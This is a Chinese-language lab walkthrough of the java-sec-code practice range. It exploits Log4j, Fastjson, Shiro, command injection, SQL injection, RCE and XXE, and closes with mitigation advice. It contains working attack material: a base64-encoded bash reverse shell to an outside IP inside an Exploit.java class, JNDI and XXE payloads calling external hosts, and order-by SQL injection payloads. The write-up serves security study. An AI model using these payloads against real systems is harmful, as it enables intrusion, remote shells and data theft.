Java-sec-code靶场分析练习
字数 2086 2025-08-29 08:30:06
Java-sec-code靶场漏洞分析与实践指南
环境搭建
基础环境要求
- MySQL 8.0
- Java 1.8
- Maven 3.9
- IDEA开发环境
搭建步骤
-
克隆项目仓库:
git clone https://github.com/JoyChou93/java-sec-code -
修改数据库配置:
- 编辑
application.properties文件 - 修改数据库连接密码
- 编辑
-
导入数据库文件
-
在IDEA中打开项目,直接点击run按钮运行
-
访问本地8080端口(admin/admin123)
常见问题解决
- 登录无响应问题:请求远程jquery.min.js报502错误
- 解决方案:替换为CDN链接
https://cdn.jsdelivr.net/npm/jquery@3.4.1/dist/jquery.min.js
漏洞分析与利用
1. Log4j漏洞(CVE-2021-44228)
漏洞位置
- Controller层的log4j文件
- 使用
logger.error记录token值
利用尝试
-
直接访问:
http://localhost:8080/log4j?token=${jndi:ldap://ktrpaedmrm.zaza.eu.org}- 结果:报400错误(包含非法字符)
-
URL编码特殊字符后访问:
- 成功返回200
反弹shell尝试
-
生成反弹shell命令:
bash -i >& /dev/tcp/189.1.226.116/8989 0>&1 -
Base64编码:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xODkuMS4yMjYuMTE2Lzg5ODkgMD4mMQ==}|{base64,-d}|{bash,-i} -
编写Exploit.java:
import java.lang.Runtime; import java.lang.Process; public class Exploit { public Exploit(){ try{ Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xODkuMS4yMjYuMTE2Lzg5ODkgMD4mMQ==}|{base64,-d}|{bash,-i}"); }catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv){ Exploit e = new Exploit(); } } -
编译为Exploit.class并部署
利用失败原因
- Java 8u191+默认禁用远程类加载
- 系统属性
com.sun.jndi.ldap.object.trustURLCodebase设置为false - 测试环境为Java 1.8.0_202
其他检测方法
- 全局查找
logger关键字,检查其他可能存在CVE-2021-44228漏洞的地方
2. Fastjson漏洞
漏洞版本
- 项目引用1.2.24版本
- <=1.2.24版本autoType默认开启且无严格黑名单限制
审计关键词
JSON.parseJSON.parseObject@type(JSON中的类名指定字段)Feature.SupportNonPublicField
验证方法
- POST请求
/fastjson/deserialize - 传输application/json格式数据:
{ "@type":"java.net.Inet4Address", "val":"k74n3o.ceye.io" }- 返回200且收到dnslog响应则存在漏洞
高版本JDK绕过
- 对于JDK 11.0.1、8u191、7u201、6u211及以上版本
- 使用受害者本地的类作为恶意Reference Factory攻击RMI
- 利用LDAP返回序列化数据触发Gadget
3. Shiro漏洞
漏洞验证
- 访问
/shiro/deserialize- 提示"No rememberMe cookie. Right?"
- 在请求包Cookie字段添加:
;rememberMe=true
利用工具
- 使用工具进行利用
- 回显模式选择TomcatEcho
注意事项
- 服务端会抛出很多异常
4. 命令注入(CmdInject)
Windows环境
- 需要修改源代码
利用方式
http://localhost:8080/codeinject?filepath=%7Cwhoami
- 使用
|来执行多条命令
安全过滤
/codeinject/sec调用SecurityUtil.cmdFilter()- 只允许
^[a-zA-Z0-9_字符
5. SQL注入
未过滤直接拼接
/sqli/mybatis/vuln01/jdbc/vuln
安全写法
/jdbc/sec采用预编译:String sql = "select * from users where username = ?"; PreparedStatement st = con.prepareStatement(sql); st.setString(1, username);
错误用法
/jdbc/ps/vuln虽然使用prepareStatement但仍直接拼接:String sql = "select * from users where username = '" + username + "'"; PreparedStatement st = con.prepareStatement(sql);
MyBatis漏洞
-
/mybatis/vuln02:- 使用like进行模糊查询:
<select id="findByUserNameVuln02" parameterType="String" resultMap="User"> select * from users where username like '%${_parameter}%' </select> - 构造
' or 1=1--即可注入
- 使用like进行模糊查询:
-
/mybatis/vuln03:- 使用
${}直接拼接order by语句:<select id="findByUserNameVuln03" parameterType="String" resultMap="User"> select * from users <if test="order != null"> order by ${order} asc </if> </select>
- 使用
Order by注入利用方式
-
数字越界报错:
ORDER BY 5 --- 若表仅4列,则报错:Unknown column '5' in 'order clause'
-
盲注探测列名:
ORDER BY IF(database()='test', 1, (SELECT 1 UNION SELECT 2)) -- -
布尔注入:
ORDER BY IF(SUBSTRING(database(),1,1)='a', 1, 2) -- -
延时注入:
ORDER BY IF(1=1, SLEEP(2), 1) -- -
报错注入:
ORDER BY (SELECT 1 FROM (SELECT COUNT(*), CONCAT(version(), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y)
限制与注意事项
- 无法直接联合查询(UNION)
- 数字必须介于1到查询结果的列数之间
- 复合语句的数据库兼容性
6. RCE(远程代码执行)
Runtime.exec
/rce/runtime/exec
ProcessBuilder
/rce/ProcessBuilder- Linux环境下可执行:
@GetMapping("/ProcessBuilder") public String processBuilder(String cmd) { StringBuilder sb = new StringBuilder(); try { String[] arrCmd = {"/bin/sh", "-c", cmd}; ProcessBuilder processBuilder = new ProcessBuilder(arrCmd); Process p = processBuilder.start(); // 处理输出... } catch (Exception e) { return e.toString(); } return sb.toString(); }
JS命令执行
/rce/jscmd- 使用Nashorn的JS调用Java类:
// test.js (function() { var System = Java.type("java.lang.System"); var Runtime = Java.type("java.lang.Runtime"); Runtime.getRuntime().exec("calc.exe"); return "Command executed: " + System.getProperty("os.name"); })
SnakeYAML反序列化
/rce/vuln/yarm- 安全写法使用
SafeConstructor
Groovy RCE
@GetMapping("groovy")
public void groovyshell(String content) {
GroovyShell groovyShell = new GroovyShell();
groovyShell.evaluate(content);
}
- 利用:
http://localhost:8080/rce/groovy?content="calc".execute()
7. XXE漏洞
无回显XXE
/xmlReader/vuln- 使用dnslog验证:
Content-Type: application/xml <!DOCTYPE root [ <!ENTITY xxe SYSTEM "http://0e3fa97c.log.dnslog.sbs"> ]> <root>&xxe;</root>
安全最佳实践
-
Log4j:
- 升级到最新安全版本
- 设置
log4j2.formatMsgNoLookups=true
-
Fastjson:
- 升级到最新安全版本
- 关闭autotype功能
-
SQL注入防护:
- 使用预编译语句
- 严格参数绑定
- 避免直接拼接SQL
-
RCE防护:
- 避免直接执行用户输入
- 使用白名单限制可执行命令
- 对用户输入进行严格过滤
-
XXE防护:
- 禁用外部实体解析
XMLReader xmlReader = XMLReaderFactory.createXMLReader(); xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false); xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
本指南详细介绍了Java-sec-code靶场中的各种漏洞类型及其利用方法,同时也提供了相应的防护建议。在实际开发中,应当遵循安全编码规范,避免这些常见的安全漏洞。